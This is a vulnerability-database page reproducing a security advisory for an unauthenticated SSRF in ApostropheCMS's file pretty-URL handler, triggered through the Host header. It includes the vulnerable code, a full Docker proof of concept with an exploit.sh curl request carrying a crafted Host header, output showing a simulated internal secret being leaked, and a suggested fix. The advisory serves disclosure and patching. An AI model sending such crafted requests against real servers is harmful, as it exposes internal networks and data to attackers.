@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header
CVSS score
3.7
EPSS probability
%0.3
Risk score
0.0
Published
2 mo ago
Etkilenen ürün ve sürüm için yayımlanan güvenlik güncellemesini uygulayın.
Impact on My Inventory
Only the personal products you have added to your account are assessed; an organisation's inventory does not appear here.
Checking session…
Vulnerability description
DayBreach CVE AI Research
CVE-2026-53607 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.
### Summary When `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header: ```js proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}` ``` That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an **unauthenticated remote** attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0` (latest); no fixed release exists. - **Affected:** `apostrophe <= 4.30.0` when `@apostrophecms/file` is configured with `prettyUrls: true` and uploadfs is **local** (the default; S3/CDN deployments produce an absolute `uglyUrl` and are not affected). ### Details `modules/@apostrophecms/file/index.js` (excerpt; the public GET route registered when `prettyUrls: true`): ```js if (!self.options.prettyUrls) return; return { get: { async [`${self.options.prettyUrlDir}/*`](req, res) { const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/); if (!matches) return res.status(400).send('invalid'); const [ , slug ] = matches; if (slug.includes('..') || slug.includes('/')) { return res.status(403).send('forbidden'); } const file = await self.find(req, { slug: `${self.options.slugPrefix}${slug}` }).toObject(); if (!file) return res.status(404).send('not found'); const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false }); const proxyUrl = uglyUrl.startsWith('/') ? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink : uglyUrl; return await streamProxy(req, proxyUrl, { error: self.apos.util.error }); } } }; ``` `lib/stream-proxy.js` (excerpt): ```js module.exports = async function(req, url, { error }) { const res = req.res; if (url.startsWith('/')) url = `${req.baseUrl}${url}`; let response; try { response = await fetch(url); } // <-- attacker-steered fetch catch (e) { return send502(e); } for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) { const v = response.headers.get(header); if (v != null) res.header(header, v); } res.status(response.status); response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... })); }; ``` `req.get('host')` returns the unvalidated `Host` HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed `proxyUrl` against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels). Prerequisites are minimal: `prettyUrls: true` (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content). **Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6** ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in `@apostrophecms/file`, via the `Host` header. ### PoC Three services on an isolated Docker network: `mongo`, `internal` (returns a fake secret, **never exposed to the host**), `apos:3000` (the only port the host can reach). The host attacker proves it cannot reach `internal` directly, then exfiltrates `internal`'s response via one crafted request to `apos`. `app.js` (normal apostrophe site, documented option only): ```js require('apostrophe')({ shortName: 'apos-ssrf-poc', autoBuild: false, modules: { '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } }, '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } }, '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } }, '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } }, 'poc-seed': {} // seeds one file doc on boot (= what an admin does via the upload UI) } }); ``` `docker-compose.yml`: ```yaml services: mongo: { image: mongo:7, networks: [poc] } internal: image: python:3.12-slim command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"] networks: [poc] apos: build: . environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc } depends_on: [mongo, internal] ports: ["3000:3000"] networks: [poc] networks: { poc: { driver: bridge } } ``` `exploit.sh` (unauthenticated attacker on the host): ```sh # 1. Prove the internal target is not reachable from the host curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)" # 2. ATTACK: same pretty URL, attacker-supplied Host header curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf" ``` Build & run: ```sh docker compose build && docker compose up -d && ./exploit.sh ``` Observed output (`apostrophe@4.30.0`, clean stack): ``` [probe] confirm the internal target is NOT reachable from the host: curl: (6) Could not resolve host: internal [normal] same pretty URL, normal Host header (Host: apos): HTTP=502 bytes=49 content-type=text/html; charset=utf-8 upstream media error fetching data for pretty URL [ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service: HTTP=200 bytes=64 content-type=text/plain; charset=utf-8 [ATTACK] response body received by the attacker: INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2 RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection). ``` The `internal` service is unreachable from the host, but apostrophe fetches it on the attacker's behalf and pipes the response body — secret included — straight back over the same HTTP response. ### Impact Unauthenticated remote SSRF, but the path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup on a slug the attacker already had to know). That constraint plus cuid uniqueness rules out the cases I originally listed: - **Cloud metadata is _not_ reachable** — AWS IMDS (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure (`/metadata/...`) all live at fixed paths that don't overlap with `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and most internal API surfaces. - **Cross-instance data exfiltration is also ruled out.** For an internal target (another apos instance, MinIO bucket, etc.) to serve a body at this path, it would need the exact local cuid + slug, which realistically only happens when the target restored / shares the public site's data — in which case the same content is reachable via the front door anyway. Apostrophe also won't construct a pretty URL for archived / restricted media, closing the older-snapshot edge case. What remains is blind-SSRF residual: - Network-topology mapping via response-code or response-time differences across internal hosts. - Banner / version disclosure from verbose reverse-proxy or WAF 404 bodies. - Bypassing network egress controls — outbound requests originate from the apostrophe server rather than the attacker. The attack requires only the public pretty-URL endpoint and one publicly-known file slug, both trivially available in normal CMS operation. ### Recommended fix Stop deriving the upstream URL from the request `Host` header. Two complementary changes: 1. In `modules/@apostrophecms/file/index.js` (the lines that build `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl` or the configured site URL) instead of `req.get('host')`: ```js const proxyUrl = uglyUrl.startsWith('/') ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}` : uglyUrl; ``` 2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the configured apostrophe base URL + any configured CDN host) before calling `fetch`. Defence in depth: future callers of `streamProxy` cannot accidentally reintroduce the gap. A regression test that sets `Host: 169.254.169.254` (or any non-configured host) on `/files/<slug>.<ext>` and asserts the upstream `fetch` is **not** issued / the response is a 4xx would lock this down.
IMPACT: Affected Products and Software
RED HAT CSAF/VEX: Product Impact Check
SCORING: CVSS from Multiple Sources
CVSS Scores
The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 3.7 | CVSS 3.x | — | Vector not published | GitHub Advisory |
| 0.0 | CVSS 4.0 | — | Vector not published | GitHub Advisory |
Patch and Remediation Guide
Solution & Remediation Advisory
1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.
4.31.0OSV düzeltilmiş sürüm: 4.31.0
Public exploit and active exploitation status
Verified exploit intelligence
No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.
Weakness Classification and Attack Patterns (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-53607 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-53607 weaknesses.
Attack Vector and Accessibility
Official Sources and Advisories
Similar Vulnerabilities
Get this vulnerability through the API
Affected products, version ranges, exploitation status and patch information in a single request, with a free key.
curl -H "x-api-key: $DAYBREACH_API_KEY" \ "https://api.daybreach.dev/api/v1/intel/cves/CVE-2026-53607"